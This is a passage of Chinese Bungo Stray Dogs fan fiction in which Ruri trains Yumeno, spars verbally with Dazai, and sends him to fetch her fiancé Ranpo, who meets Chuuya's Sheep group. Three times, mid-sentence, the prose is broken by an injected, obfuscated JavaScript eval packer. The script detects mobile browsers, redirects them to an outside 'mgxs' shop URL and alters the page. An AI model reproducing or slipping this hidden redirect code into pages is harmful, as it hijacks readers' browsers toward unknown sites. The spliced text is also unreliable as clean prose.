浴室里面突然传来噼里啪啦东西落地的声音。琉璃立刻打开门,只见结月捂着脑袋痛苦呻吟着,露出来的手臂上有利爪抓过的印记,身边瓶瓶罐罐倒了一地,连淋浴间的门都被撞掉了。 全身光溜溜的梦野久作缩在角落里,脸却平静的可怕,好像已经习惯了这种情况。而黑洞撕裂成两半,躺在温热潮湿的瓷砖上。 看到琉璃进来梦野脸上才泛起一抹红晕,扒拉着湿透的衣服勉强遮挡住自己的身体。 “您看,这不就出问题了~”太宰侧身进入,站在琉璃身前。 结月听到了门口的声音,转头就要冲过来,被太宰治当仁不让拦下,异能力发动,随后结月就脱力瘫倒在地上。 英雄救美的一幕,太宰治转过头看见的却是冷静自若的琉璃,正打电话联系人送侍女去医院。 通话结束,琉璃关闭手机,原本柔和的瞳色浓郁汇聚成尖锐的刀片,扎进太宰治的眼眸, “你有提醒的责任。” 她真有些生气了。 被问罪的太宰治收敛了脸上的淡淡微笑,“我没注意,您不是也知道Q的异能力吗?” 所以是她的问题? 琉璃这才正眼看待太宰治。微卷蓬松的黑发,棕红的眼眸,看着人畜无害,是个本应该帮她,却在讽刺她的少年。 认识了不到一天,也不是她主要的合作对象,但太宰治是最难搞定的,成功挑起了琉璃的情绪。 这棵歪脖子树,她砍定了! 结月被送去就医,换了个其他侍女过来。 像是一切都没发生一样,太宰治和梦野久作换好新衣服,也来到琉璃的书桌边坐下。 两个没在上学的孩子听不懂琉璃的老师在讲什么。琉璃特意让人送来了一套幼儿教材,放在太宰面前让他教梦野读书, “对太宰先生来说应该不算什么吧?我们一起学习吧~” “我学习的时候你们也别给我闲着。”——太宰治听到耳朵里的是这句话。 他承认自己刚刚是故意的。故意在琉璃面前打游戏,故意在侍女进去的时候没有阻止,故意在质问时连道歉都没说,反而想激怒琉璃……这些才是他该做的事情。 做这些事情才应该让他觉得舒服,他可不想在琉璃面前装一辈子的乖属下。 本来太宰治演戏的耐心应该更多,但是琉璃对周围蛮横霸道的影响力让他有点恐惧了。 他等着琉璃对他的处罚,却没想到是这样折磨人的软刀子,让他来教梦野久作读书。 维持着表面和平,太宰治拆开书籍:“片假名平假名你都背会了吗?” 梦野歪头:“那是什么?” 很好,教学难度直线降低。 但是低等级的知识难度匹配的也是低开发的大脑。听着旁边教学的声音,太宰治也不好再摆烂,只能盯着梦野久作抄写五十音图。 自己看书竟然看不明白,非要他给他讲。讲了好几遍还记不住音,太宰真想撬开梦野的脑袋,把这些知识全部刻进去。 谁能想到他太宰治收的第一个学生是睡觉还尿床的梦野久作? 他不承认! 软刀子磨人,还耗人精气。 终于到了午饭时间,太宰治如获新生要带梦野久作走,却被琉璃留下来吃饭。 “我答应了要给梦野甜品,四岁就能自己洗玩偶很不错了,再接再厉。” 简单的夸奖就让孩子飘飘然了,自然地爬上椅子准备开餐。 太宰治离去的脚步也只好停下,与梦野坐到同一侧。 琉璃的餐桌上没有食不能言的规定,桌面上的菜色偏向于西餐,不是港.黑的伙食,是大厨现做的。 诱人的肉食完全蛊惑住了小孩子。梦野拿刀叉不顺手,也被琉璃安排上了宝宝筷子。 琉璃:“梦野一会儿想吃什么甜品呢?” “…赤沙糖!”男孩犹豫了两秒,在自己贫瘠的大脑里翻找出答案。 直接吃糖这个操作女孩不是很赞同:“让厨师用赤砂糖给你做一道甜品,可以吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454003|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然在询问,但琉璃已经做了决定。男孩没发现话语中暗含的强制,甚至觉得琉璃很尊重他的想法,乐呵呵地接受了这个提议。 看孩子一口一口把盘子里的肉吃完,配菜动也没动,琉璃让他吃光。 “可是没有味道…好难吃啊。”边说着边把西兰花塞进嘴里,梦野猛嚼几下,赶紧咽了下去。 “有什么爱吃的菜色?以后可以准备。”有这个条件,琉璃对孩子不会吝啬。 梦野:“我不知道……” 琉璃懂了,就是什么都尝一尝,就知道自己喜欢吃什么了。 梦野看琉璃不说话,还以为女孩是嫌弃他蠢,问他什么都得不到确切的答案。 紧急调动脑筋大喊出声:“我知道太宰先生喜欢吃蟹肉罐头!”跟太宰独处时的那些碎碎念,他记得一清二楚。 男孩瞅了眼太宰治后得意地看向琉璃,等待夸奖。 但是0人在问太宰治爱吃什么。 看出了孩子的小心思,琉璃也不介意配合, “真厉害,梦野竟然记得太宰先生爱吃蟹肉罐头,真是令人感动啊~”连自己喜欢吃什么都不知道,还记得太宰喜欢吃什么。被这么惦记的人,连澡都不愿意帮孩子洗。 太宰治听出来了琉璃在拐弯抹角怼他,忍不住出声: “真的很感动呢,但是我喜欢吃的是蟹肉哦,海鲜还是新鲜的最好吃啦~” 这句话一出口,太宰治就知道自己败了。 跟一个小孩子计较什么?能记住蟹肉这个词汇已经很不错了,是罐头还是新鲜的主要取决于他太宰治当时的消费能力。 “哈哈。”琉璃笑得舒心,并大方表示晚上可以请大家吃蟹肉大餐。 太宰也不知道他是赚了还是亏了,皮笑肉不笑地应下。 琉璃:“太宰先生盘子里的蔬菜怎么也没吃?也觉得味道淡不好吃吗?” “怎么会呢?好吃的要留在后面罢了。”少年插起蔬菜就往嘴里送,用咀嚼声掩盖他的咬牙切齿。 他都14岁了,怎么能被一个11岁的女孩取笑他像个5岁的孩子。 吃饭哪来那么多话?对消化不好,不知道吗! 午饭结束,琉璃手机里的未读消息有点多。收到结月安然苏醒的消息,剩下的都跟另一个人有关。 那人本人也给她发了消息。 还知道在出发之前给她发短信,可惜琉璃吃饭的时候不爱看手机。 20分钟够他迷路到哪儿了呢? 琉璃打开GPS,看到十分微弱信号,轻叹了口气,“下午森首领安排了人给我介绍港口Mafia。” “嗯。”太宰知道这件事,“那我就带着Q告退了~” 琉璃:“不,我有件事想拜托你。” 太宰:“嗯?” 刚出了那种事还敢拜托他做事?大小姐真是好大的心脏。 算了,就算不在这里拜托他,告到森鸥外那边估计也是派他来做。 也不知道他到底是谁的保姆。 “您说~” 琉璃:“麻烦你帮我去接一个人,他大概在擂钵街。”也就那个地方信号才这么弱。 “照片我传给你。” 是一个身穿咖色侦探装,黑短发眯眼笑着的男生。 琉璃眉目舒展,眼中泛起莹莹的光, “他叫江户川乱步,是我的未婚夫。” 太宰治:? 5. 五颗宝石 未婚夫? 太宰治拿着手机,要把照片盯穿了。 家族联姻吗?看这男生的穿着又不像是贵族。消息掩盖的真好,东久世家族还需要联姻吗? 就这么告诉他,也不怕他捅出去。 没等走出港.黑,太宰治就先给森鸥外发去消息打报告。 接了合作方给的任务,他肯定要向领导请示啊~ 这个信息他怎么能一人独享~ 黑心医生:「按琉璃小姐说的做。封锁消息。」 很好,看来森鸥外也不知道。太宰治诡异地感觉心理平衡了。 擂钵街那么大,怎么找这个人呢? 刚想叫几个手下一起,琉璃就给太宰发来了缩圈后的定位截图。 “…看得真紧啊,未婚夫身上还安定位器。”太宰治越发想见一下那个男人了。 外表就是普普通通,怎么偏能得到大小姐的特殊对待。 —— 江户川乱步十分生气,他不过是去外地出了个任务,回来后自己家的小女孩就已经被“掳”到港口Mafia了。 他什么都不知道!但作为名侦探,他现在基本也都推理出来了。 还是好气! 为什么偏偏是跟森鸥外那个混蛋合作? 他发的消息琉璃也没有及时回,更气了! 大力推开办公室的门跟社长报备后,他就马不停蹄出来追妻,雄赳赳气昂昂地迷路了。 走在不知道第几个需要选择的路口,火气也消散了一些,乱步决定回复琉璃的消息,给女孩个台阶下。 掏出手机,没信号了。 江户川乱步:“……” “喂!” 演都不演,看着不到十岁的孩子拿着匕首对着乱步,声音还在抖,眼神却越来越坚定。 “值钱的东西交出来!” 如果乱步不给他钱,像是真的会猛得一下捅过来。 “等一下。” 被打劫了,乱步掏出眼镜戴上,顺从地举起双手,说:“可是我没钱啊?” “啊?”男孩一下子被打乱了节奏,下意识看向身后某个方向。 “啧!”他恨铁不成钢的同伴从墙后走了出来, “他说没有就没有啊,你不会上手搜吗?!” “哦哦!”男孩赶紧收起匕首几步上前,小手胡乱摸上乱步的衣服,还小心翼翼地防着乱步反打他。 “白濑哥,真没有!” “你是笨蛋吗!”银发男孩快被自己刚挑的小弟气笑了,“他手里不是攥着个手机吗!” “啊啊!” 句句有回应,事事没着落。男孩蹦着高摁不下乱步高举的手臂,委屈巴巴地回看白濑。 白濑:“......” 太笨了!学坏怎么还这么困难!他要回组织换一个人培养了! 白濑:“我来!” “你别来了呗~”在白濑靠近的档口,乱步一脚把男孩踹倒,迎面冲向白濑虚晃一拳把人吓得仰面摔倒,整理了下衣服泰然站着。 男孩忍着痛从地上爬起,举起匕首,“你、你别动!” “欸~,可是只有乌龟才不爱动啊~” 乱步举起从白濑腰间顺来的手枪微微一笑。在男孩眼里完全就是死神级的微笑。 乱步:“你们不是羊组织的人吗,怎么可以对我这个无辜的孩子下手!” 白濑:? 你在控诉什么!擂钵街的孩子哪有长这么白净,穿这么得体干净的!而且一把年纪了还有婴儿肥! 敢怒不敢言,被抢了手枪的白濑从地上起身,下意识摸了下手腕上系着的蓝丝带。 他看乱步转枪转得丝滑,一看就是练过,识时务地举起双手, “别杀我们,要不然、要不然我们的首领不会放过你的!” 乱步大开眼界:“这个时候都不谄媚我,而是威胁吗?” “我迷路了,你们带我去港口Mafia,我就放过你们。” 白濑心中冷笑:都不是告诉他港口Mafia的位置,而是让他们带他过去。这人肯定是什么间谍或者恐怖分子,让中也来收拾真是收拾对了,事后也不会跟他念叨什么大道理。 “悠斗!” “是!”一个信号弹从小男孩手里发射,直冲天际。 白濑:“赶紧逃吧,不出五分钟我们首领就会赶到了,你也不想品尝被重力碾压的滋味吧~”其实是不出两分钟中也就能赶到。 他一定要让这个不知天高地厚的男人付出代价! 目的达成,乱步收起眼镜,又随意转了一圈手枪别进自己的腰间, “你能活到现在还真是个奇迹。”这么会拉仇恨,怎么没个人鱼死网破一下。 真幸运,遇到他这个正义的名侦探,又保下一命。 这个时候还在挑衅,白濑怒火中烧也只能憋屈地等中也来帮他复仇。 不跑最好,死的更快! 三人就这样各自站在原地,等生等死等中也。 终于,套着连帽卫衣的赭色头发少年飙着高音自天空赶来。乱步也好像被触发了什么机关,应声倒地,像个买不到心仪玩具的孩子一般翻滚着叫嚷: “救命啊,这里有人抢劫啊!要杀人啦,救命啊,我要死了!” 白濑:?! 悠斗:?! 急刹车的中原中也:!? 谁要死了?? 本着先向着自己组织成员的原则,中也落到地面上隔着斗篷踹了一脚乱步的屁股, “你叫什么呢?要对我们组织的成员做什么?!” 白濑立刻走上前解释:“中也,是他、” 乱步:“呜啊啊啊啊,我活不下去了,我的未婚妻跟别人跑了!” 白濑:“是他先、” 乱步:“还是一个胡子拉碴不修边幅的大叔,我的心好痛啊,啊啊啊啊啊啊!” 白濑:“你别喊了!是他、” 乱步:“我现在身无分文,只剩这个手机能联系她了,他们还要抢我的手机,我命好苦啊,谁来给我做主啊!!!” “......白濑,你们要抢他的手机?”中原中也湛蓝清澈的瞳孔回望向自己的同伴,脸上带着不认同。 狗血的力量太强大了,他耳朵里只有男人悲惨的爱情故事,半点没有己方给出的信息。 他们组织如今已经不需要靠偷抢存活,何况是抢这样一个悲惨哥唯一的家当,太不应该了! 白濑被这么一问也哽住了,忘了怎么言语。 不是,这个男的嗓门怎么那么大,那么能插话!根本就没给他留发挥的空间!说得还好像都是些事实,这让人怎么反驳啊! 悠斗左看右看,出来帮腔:“那个男人让我们带他去港口Mafia!”好邪恶的组织,那男人要带他们去送死! “对!”白濑眼睛都亮了,决定再留悠斗培养培养。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454004|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 濑:“他是那边派来的人,要对组织不利!”可算找到底气了。 中也:“哈?!!” 他看向乱步的眼中没有了同情,发丝受异能力影响在空中飘扬。 “你是港.黑的走狗?!”中也抬起来的这一脚实打实踹下来,能把乱步踹个半残。 情况紧急,只见乱步支起上半身,紧紧抱住了少年的大腿: “就是那个又老又不知羞耻的首领抢的我的未婚妻啊!!!” “……啊?” 中也又一次被八卦砸晕了头脑,再一次停下异能力。 乱步:“呜呜呜呜呜呜,我迷路啦!我是路痴!我找不到那个老男人对峙啊!!” 原本没想这么不体面,都是他们逼他的。 乱步只是推理出来这个羊组织的首领是个品行不错的好人,想让白濑他们把人招来问问路,发展到现在这个局面真不是他想的。 但是喊出来心里舒服多了,都有点饿了,想吃粗点心! 嚎累了,乱步松开中也的大腿,盘腿坐在地上,仰起脸问:“有吃的吗?” “额。”话题转的太快,中也从兜里掏出一个饭团,是他的午饭,“给。” 乱步:“......算了。”他还不至于跟一个营养不良的小孩抢东西吃。他也不爱吃这个。 “让我饿着吧,饿死了也好,但愿天国里可以跟她在一起,幸福美满。”乱步再次平躺回地上,双手交叠在肚子上,表情安详。 中也真的信了,瞪大了眼睛,打开饭团就要往乱步嘴里塞,“饿了就吃,好好活着啊,笨蛋!你未婚妻不是还没死吗!” “噗哈哈哈哈哈哈哈哈哈......”躲在一旁看戏的太宰治终于忍不住了,捂着肚子锤墙狂笑,“哈哈哈,他、他未婚妻,哈哈哈哈,确实没死。上了天国也看不到哈哈哈哈哈......” 穿着西装的太宰治立即引起羊组织几人的警戒。中也把成员护在身后,“你是谁?!” 乱步利索站起,拍拍身上的灰尘,替快笑到岔气的太宰治说话: “他是来接我去天国的天使。” 中也:“什么?!”当他看不出来穿黑西装的是黑.手.党吗! 太宰也对这个称呼很有意见,边放松笑到僵硬的脸颊边说:“我呣系天斯啊,怎么呣讲吾是黑颠鹅~” 乱步:“随便啦随便啦,快带我走吧,我饿了。” 太宰:“可是大小姐的午餐时间已经结束喽~” 乱步:“少帮着你们首领挑拨离间,她肯定会给我现做的!” 两人都默契地没有提及琉璃的名字。 在乱步彻底从身边走过的那一刻,中也拉住了他的胳膊, “喂!到底是怎么回事!” 对上求知欲爆棚的纯净眼眸,乱步良心发现想起来自己的设定,“我要去跟那位黑心首领对线了,谢谢你愿意倾听我的故事。” “安啦,祝我成功~” 披风的边缘在中也手边划过,他目送着二人拐进巷子里消失不见。 中也:“…真是两个怪人,走吧。” “不、不对。”白濑的脸色变得更加难看,“我的枪被那个男人夺走了,还没要回来!” 武器是这个地界最抢手的东西。 “不早说!”中也皱眉转身要去追,却又止住了脚步,嘀咕着:“算了,可能他需要用。” 是他们羊组织的人先冒犯的,就当作赔礼吧。 6. 六颗宝石 那边太宰治带江户川乱步回港.黑,这边琉璃也在介绍下熟悉了港.黑的基本布局和业务范围。 有点底子,但百废待兴。 五大干部只有三人,一个出差了,一个是拿钱求保护的外人,还有一位人如其名仪态万方的典雅女性——尾崎红叶。 今天也是她来为琉璃讲解的。 因尾崎红叶过分出色的形象与谈吐,琉璃对港口Mafia的印象分上涨了一些。 看时间差不多,琉璃也没再留人聊天,任由尾崎红叶把专门为她复印的资料全部带走销毁。 没等多久乱步就被太宰治带上来了。 被太宰找到后乱步就一直忍着没给琉璃发消息,维持自己生气时的高冷姿态。 结果一见到琉璃就破功了,深呼吸几下调整状态却也只能撅起嘴巴表达不满。 在中原中也面前的大嗓门,也退化成有些哼哼唧唧的音调: “哼~我饿啦!”怎么还不来哄我? 太宰治一愣:谁在说话? 是在流浪儿童面前撒泼打滚疯狂造谣的那个男人? 还是来的路上臭着脸一句话也没跟他讲,拿他当人形导航的那个男人? …确实是长了张娃娃脸,没想到还真能变成个娃娃。 更加令太宰治瞠目结舌的是,琉璃也变了副模样—— 周身防备隔离别人的屏障如遇见暖阳的冰雪一般飞速消融,有些圆润的白嫩脸颊因为不愉鼓起弧度,抛开了运筹帷幄的早熟,迸发出独属于小孩子的鲜艳活力。 琉璃:“饿了为什么不吃完饭再出门?社长拦你为什么不听?” 女孩质问中包含的撒娇语调又给太宰治的认知一重击。原本琉璃的声线就偏温柔……现在这种音调真的是他能听的吗? …太厉害了。太宰用力把自己的关注从琉璃那里掰向乱步,这一刻他莫名由衷佩服这个男人。 乱步的出现迅猛打碎了一些东西,让他窥见了隐秘。如此有生机的琉璃像是皇女亲自走下高高在上的宝座,被人触手可及。 ……触手可及可太危险了。太宰治眸色渐深,积压出一抹暗红。 缺失距离感的邪恶想法会从臭水沟一样的大脑里止不住地冒出来。想触碰,占有,碾碎,看她崩溃,成为被锁链捆绑的折翼堕天使,是染血的勋章与展品。 被黑暗浸染太久的太宰只能看到这些场景,他见多了这种败类!认识一个人先看那人的影子,能敏锐嗅闻出腐败的气味。 思绪即将沉没深海,太宰又被乱步的反驳拉回,“诶呀诶呀,说这个干嘛!琉璃不是知道我一定会找来的吗?” “明明知道我会来也不提前跟我说,还不回我消息,谁的错很明显好吧!” 琉璃神情不改,不慌不忙。 谁的错?反正不是她的错。 和明察秋毫的大侦探吵架,她也丝毫不心虚,“你在午餐时间给我发消息,就是知道我不会及时回,想占据道德至高点吧?” 被说中心机的乱步身形一颤。 琉璃乘胜追击:“乱步你去外地出任务不是也没跟我说吗?还是社长告诉我的!” 旁观的太宰彻底把那些阴沉想法抛在脑后,想为反转鼓掌。 有来有回的剧情精彩得让他忘了避嫌离开。 吵架的模式也很新奇。好像是年龄都负增长到了幼儿园,嘟着嘴攥着拳头吵闹。 嗓门如同未曾开发过,再激动,言语再犀利,也不刺耳,也不会吵得面红耳赤,是太宰治从没见识过的养生吵法。 太宰:这就是大家族的未婚夫妻吗?长知识了。 连侍女都清楚这两人吵也吵不了多久,提前把新做的餐食端上桌,正好晾凉,吵完后就是最合适入口的温度。 乱步眉毛打架,“我不是不想说,我是没睡清醒就去赶电车,社长抢先帮我发了!” “而且这两件事情根本不是一个量级的好吧!” 琉璃别开脑袋,“那也是乱步有错在先,我很不开心。” “而且这件事跟不跟你提前说又有什么差别?” 这个合作当然不能提前跟乱步讲。不然就算乱步心里明白结局走向,也要在她身边赖唧唧地磨蹭着劝她,到时候还是要吵架,不如现在吵一次吵清楚。 感觉吵够了,琉璃打出最后的重磅一击,“你还在外面抹黑我的形象!” 江户川乱步闻言后退一大步,少见地睁大了眼睛,露出来他苍翠如森林的瞳孔, “你怎么...” 他转头看向微微颔首的太宰治,了然了一切。 一路上都只顾着生闷气,没多去在意太宰治,结果这个小鬼给他捅了这么大一个篓子! 这事有什么好跟琉璃分享的,黑心肠的家伙难不成真的想跟琉璃成为共享八卦的好闺蜜吗?! 不研究研究怎么让他家首领对他放下戒备,在琉璃这里表上态了,等他成功“登基”一定要让琉璃跟这个人绝交! 想法很宏大,但气焰已经被浇弱了,乱步只好辩解:“我没说你的名字,就是看那位森姓的合作方不顺眼编排一下罢了。” 当着太宰治的面他也敢这么说,就差跑到森鸥外面前指着鼻子喊讨厌。 知道与谢野经历的人,知道森鸥外所作所为的人都很难喜欢他吧?除非是变态! 乱步:“而且我说的都是事实,也没格外扭曲什么,他能证明!” 太宰治:“…我能?”还有我的事儿? 太宰下意识伸出食指指向自己。 他发现这一对儿未婚夫妻出奇的相似,对于算计过他们的人也没什么反感隔阂,该利用利用,该算账算账,完全没有一丁点的情绪内耗。 乱步肯定脸:“他能。” 太宰:我说的是疑问句吧? 琉璃不在意太宰的疑惑,就这样被乱步的三言两语安抚好了,“好吧,原谅你了,吃饭。” “嘿嘿,吃饭喽~”迫不及待的乱步立刻洗手开餐了。 像是刚反应过来太宰治在旁边听了她和未婚夫吵架的全程,琉璃挂上完美微笑, “真是抱歉让你卷入我的家务事,太宰先生去忙自己的事吧~” 太宰摆手:“哪里哪里,那我就不多打扰了~” 其实不用这么抱歉,他还挺爱看的。 当然他也听出来了这是家务事,就是说敢传出去第一个找他问责的意思。 他怎么会到处乱说呢?就只会跟森先生讲讲罢了。这可不叫传八卦,叫汇报,无论是谁吃瘪他都很乐意看到。 太宰离开,琉璃也坐到餐桌旁看着乱步疯狂往嘴里塞食物,双颊鼓鼓的。 琉璃靠到餐桌上单手托腮:“乱步。” “吾叽道的。”看琉璃走过来他就在降低速度了,但是之前塞的太多牙齿处理不过来,才让琉璃看到这副样子。 上一次他被食物噎到,琉璃就眼睁睁看着他捶胸口,也没给他倒杯水。 要是再来一次,估计琉璃会助他一臂之力,然后把他送到晶子那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454005|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受惨无人道的治疗,好好长长记性。 胃里终于有了点充实的感觉,乱步还不忘向琉璃要点心,“我闻到甜品的味道了,是给我的吧!” “是我的下午茶。”琉璃瞥了乱步一眼。 也就这样脸皮厚的还好意思跟她要点心。 乱步:“可是我刚刚配合你吵架了,难道不值得一份甜品吗?” “本来就是要吵架的。”琉璃驳回这个邀功。 因为港口Mafia与侦探社之间的恩怨,也因为异能力和黑.手.党代表的晦暗和危险,乱步不会同意她接下与港.黑的合作,即便他知道自己左右不了她。 刚刚吵的一架就是帮助乱步发泄情绪,接受现实,也是琉璃想让太宰治看到她不够淑女大气,小孩子的一面。 她本来就是这样的人,也不怕什么反差。 让太宰治亲眼看到,别总在她面前被迫端着架子,还觉得委屈,像是她逼迫的一样,再做出什么偏激的事情,很不利于后续的合作。 琉璃:“你知道我做这一切是为了什么,应该帮助我。” “哼。”虽然很不想承认,但乱步确实在想该怎么帮助琉璃了。 “我今天遇到了羊组织的首领,异能力很强大...就比我的「超推理」差一点点。”乱步捏着手指比划。 那是很强大了,能被乱步这么夸。琉璃想。 乱步:“这个人可以考虑一下收入麾下……算了,还是不要他了。” “为什么?”琉璃很少看到乱步在正事上更改决定。 还能因为什么!乱步又开始生闷气。 因为那孩子的眼睛是琉璃以为自己最喜欢的蓝色啊!太亲密了他这个未婚夫还往哪里放! 当然乱步不会跟琉璃这么说。 “因为那人是个以为自己有脑子,但是有点缺心眼的傻子。”对于潜在影响感情的危机,乱步毫不留情地锐评。 “哈哈~”女孩被这个评价逗笑了,“那听起来不是很适合我吗?” 她就喜欢听话的人,不会自己主动搞出什么意外。 乱步:“反正就是不行啦!” 眼看男人又要耍无赖,琉璃哄道:“好了,你心里不是很清楚吗?我不会主动碰这些。” “我们东久世家族世代都是良民,不是吗?” 祖上就一直与官方保持合作,从不站队,在夹缝中站稳脚跟存活到现在,也基本不主动去培养暗地里的势力,如今更是干净的让同行自愧不如。 她又怎么会亲手去碰那些灰色地带,一不小心就可能脏了名声。 现在手里这两个人就够她摆弄好久了,琉璃不需要什么势力,建立关系就足够她使用。 让她好好借这个机会了解一下水面下的混沌,知己知彼才能少些隐患。 “我吃饱了,你什么时候吃下午茶?”乱步舔了舔还粘着酱汁的唇角,眼睛里满是渴望。他专门留了一点肚子。 琉璃无奈地用手帕帮他擦拭,却也有些乐在其中,“你最好只吃一份。” 乱步感叹:“啊,这是多么美妙的一句话啊~”能上桌就行,吃几份他再争取。 乱步跳到琉璃身旁给了她个大大的熊抱。刚擦干净的脸颊在琉璃的发顶猛蹭,熟悉的香气让他无比安心。 “琉璃就是全天下最会说话的人!” 琉璃:“…你之前不是在地上打滚了?” 乱步动作一顿,“呕吼。” 完了,得意忘形了,下午茶要推迟了…… 7. 七颗宝石 午餐时间,琉璃坐在餐桌旁悠闲晃悠着小腿,拿着手机翻看。 眼眸弯弯,唇角上扬,脸颊浮起一层薄粉,甜蜜喜悦着,不知道是看到了什么有趣的东西。 一旁站着的侍女见了微微低下头不敢看她,怕自己只顾着欣赏,怠慢了工作。 之前关于琉璃的一切事务都是老管家一手操办的,不让其他人近身。说是贴身侍女,其实她们连自家大小姐有异能力都不知道。 现在终于有了近距离服侍的机会,她们都分外珍惜,想着牢牢把握,意识在“大小姐真是完美!”和“我要完美工作!”之间反复横跳。 被侍女惦记着的琉璃其实是在看一张女仆照。 准确来说是一个男生穿女仆装拍的一系列照片。 就是江户川乱步穿着黑白配色的女仆装,从臭脸到配合卖萌的一系列人生照片。 因为对象是江户川乱步,琉璃才觉得又可爱又好笑,怎么看都看不够,还在拍好后第一时间就发给了社长和与谢野,同享这份喜悦。 说到底还是乱步的错,浑身脏兮兮的就抱着她乱蹭,所以她在对方洗干净后只给了他一套女仆装,不算过分吧? 琉璃承认,她就是想看。 乱步也看到了她的期待,不情不愿地换上,包括发箍和长袜,到晚餐时间才堪堪停止这场“报复”。 因为琉璃想起来她答应梦野他们晚上吃蟹肉大餐,就在不舍中拿甜品把乱步哄走了。 乱步:这是始乱终弃! 没想到的是太宰和梦野这么忘本,一整个上午都没主动来找她,还是午餐时间琉璃派人去主动叫的他们。 “小姐,太宰先生和梦野少爷到了。” 琉璃恋恋不舍地退出相册,眼中瞬间恢复清明,看向一脸假笑的太宰治, “太宰先生真忙啊,一上午都没看见你。” 太宰微笑不变,“确实是有点事情要处理,但琉璃小姐这边肯定是更重要的。” 他能怎么说?难不成直说是因为不想教孩子学习,才避开琉璃的上课时间不来的吗? 他偷看过琉璃的课表,理科的,文科的,国内的,国外的,大众的,小众的,看得他头皮发麻。 要是都让他对着梦野教一遍,不如直接叛逃去考教师资格证来得轻松。 而且他才刚看完琉璃跟她未婚夫吵架,离开后大脑就从八卦状态恢复清醒,这两人明显是故意当着他的面吵的。 无论是出于什么目的,他想不明白,他也懒得再想了。 他现在就知道琉璃跟她未婚夫感情很好,森鸥外跟琉璃她未婚夫莫名不对付,到这里打住,大家就是纯粹的合作关系,他的一些个人情绪,琉璃这样的大小姐怎么可能会在乎呢?根本没必要啊! 反正他早上就是偷懒了,然后就翘班了,最终在琉璃和森鸥外的双重催促下,带着梦野又来到了这里。 梦野久作不知道太宰治脑袋里混乱不清的弯弯绕绕,甜甜地朝琉璃问好后就眼巴巴看向太宰治,等着他拉自己到餐桌旁开饭。 琉璃:“请便吧。” “好的~”太宰治带着梦野落座,看琉璃的态度依旧是礼貌的疏离,才觉得自己的心跳恢复平稳了。 这才对嘛~,脸上没什么大表情,微笑淡淡的,平静温和的眼神下暗藏着凉意,这才是正常的大小姐。 昨天的事就让它过去吧,进门时看到女孩盯着手机的明媚笑脸也得忘掉,估计又和某个男人有关,恋爱脑真是可怕~ 边删除自己纷乱的思绪,边解决掉盘子里的饭菜,大厨的手艺实在是太好了,想再要一份的冲动被勉强压在太宰治的端庄之下。 在这种“正式场合”,他总是出奇的靠谱,保持着类似成熟男人的风度,让人挑不出错处来。 “琉璃小姐有想好,如何帮助Q驯服异能力吗?”这是森鸥外给太宰布置的任务,催促一下琉璃的进度。 琉璃吃好了,放下餐具,“已经有方向了。” 就在她第一次操控黑洞的时候,这个方向就出现了。 梦野的玩偶很容易就可以被她控制,打破异能力之间的壁垒后,完全感受不到梦野久作意识的存在。 这孩子对自己异能力的掌控感非常差劲,可能是年龄太小做不到控制,也可能是害怕自己的异能力,不敢控制。 不管是什么原因,比起说梦野发动异能力攻击别人,不如说是异能力牵着梦野的鼻子走,被触发后疯狂反击别人。 所以要先做到控制,才有更多成长的空间。 琉璃:“我说过,让梦野从我手里把玩偶抢回去。” 哦?先打基础吗? 太宰治立刻懂了琉璃的意思,但这个速度应该不是森鸥外所期望的……那又关他什么事?反正他就是个没什么话语权的传声筒,有分歧的话,两个人自己battle去吧。 太宰:“辛苦琉璃小姐百忙之中抽出时间了,毕竟我们首领很看重这个孩子。” “我知道,这也是我们合作的基础。”琉璃笑了笑,眼尖地从太宰治放松的肢体上看出来了他在摆烂。 作为这方面的乙方,她喜欢这种摆烂。 但就算太宰治不难为她,她也没打算放过太宰治,“我有自己的节奏,至于你,我也有安排。” 太宰:? 琉璃:“训练梦野的体术。” 太宰笑容一僵:“体术?” 琉璃:“没错。” 梦野的资料她也仔细研究过,伤害他的人会被异能力标记成为“炸弹”,撕坏玩偶就会“引爆”他们,但炸弹的制造者其实并不清楚自己每一个“炸弹”的具体威力,甚至做不到利用,还容易被误伤。 琉璃一直认为异能力是为了“守护”而存在的,是老天爷送给幸运儿的礼物。 而这个礼物,她有兴趣帮梦野久作拆开, “森首领也不想梦野发动能力后,在暴乱中被二次伤害吧?” “如果只是把梦野当成一次性用品,就不用找我来了。” 琉璃的视线落在对面正对着餐盘低头装鹌鹑的梦野身上。男孩有一种回答不上来问题,怕老师点到他的心虚感。 当然琉璃也没打算放过梦野, “梦野,我们说的你听明白了吗?” 太宰治惊讶的目光在两人之间来回。 太宰:问他吗? 梦野身体一僵:问我吗? 